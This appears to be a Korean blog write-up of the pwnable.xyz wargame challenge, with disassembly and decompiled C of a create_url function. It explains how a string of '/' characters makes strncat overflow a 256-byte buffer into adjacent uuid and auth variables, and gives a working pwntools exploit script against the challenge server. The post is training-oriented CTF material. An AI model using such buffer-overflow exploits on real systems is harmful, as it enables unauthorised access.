너무 쉬운데 왜 100점인지 모르겠다.
.bss:0000000000202200 ; char protocol[256]
.bss:0000000000202200 protocol db 100h dup(?) ; DATA XREF: create_url+1E↑o
.bss:0000000000202200 ; create_url+3B↑o ...
.bss:0000000000202300 uuid dq ? ; DATA XREF: init_login+39↑o
.bss:0000000000202300 ; main+7F↑r
.bss:0000000000202308 auth dd ? ; DATA XREF: main+8C↑w
.bss:0000000000202308 ; main:loc_DFF↑r
|
0x100 크기의 protocol이 있고, 뒤에 uuid와 auth가 있다.
if ( !strncmp(protocol, "http", 4uLL) )
{
if ( protocol[4] == 's' )
ptr = &protocol[5];
else
ptr = &protocol[4];
while ( *ptr == ':' || *ptr == '/' )
++ptr;
*ptr = 0;
printf("Size of url: ",);
url_size = read_long();
if ( url_size >= 0 && url_size <= 127 )
{
buf = malloc(url_size);
read(0, buf, url_size);
strncat(protocol, (const char *)buf, 0x100uLL);
}
else
{
puts("Too large.");
}
}
else
{
puts("Not a valid URL.");
}
|
create_url 함수에서 먼저 http로 시작하는 문자열을 입력받고, ptr을 쭉 증가시키면서 : 또는 / 가 아닌 문자가 처음으로 나올 때 해당 위치에 NULL을 넣는다. 그 후에 최대 0x7F 길이의 문자열을 끝에 붙일 수 있다.
만약 유저가 http를 입력한 뒤 : 또는 / 만으로 이루어진 0x7F 길이의 문자열을 입력으로 넣는다면, NULL은 전체 문자열의 맨 끝 (0x83) 에 적용되고, strncat을 하면 문자열의 길이를 쭉 늘려서 uuid와 auth를 overwrite 할 수 있다.
어차피 auth를 0이 아닌 값으로 만들면 되니 /가 127개 있는 문자열을 세 번 붙여주면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30021) else : p = process('./challenge') def CreateURL(protocol:bytes, size:int, url:bytes) : if not protocol.startswith(b'http') : return p.writeafter(b'> ', b'2') p.writeafter(b': ', protocol) p.writeafter(b': ', str(size).encode()) p.write(url) def exploit() : CreateURL(b'http', 0x7F, b'/'*0x7F) CreateURL(b'http', 0x7F, b'/'*0x7F) CreateURL(b'http', 0x7F, b'/'*0x7F) p.writeafter(b'> ', b'4') p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / catalog (0) | 2020.04.08 |
---|---|
pwnable.xyz / PvP (0) | 2020.04.08 |
pwnable.xyz / attack (0) | 2020.04.08 |
pwnable.xyz / rwsr (0) | 2020.01.20 |
pwnable.xyz / fclose (0) | 2020.01.18 |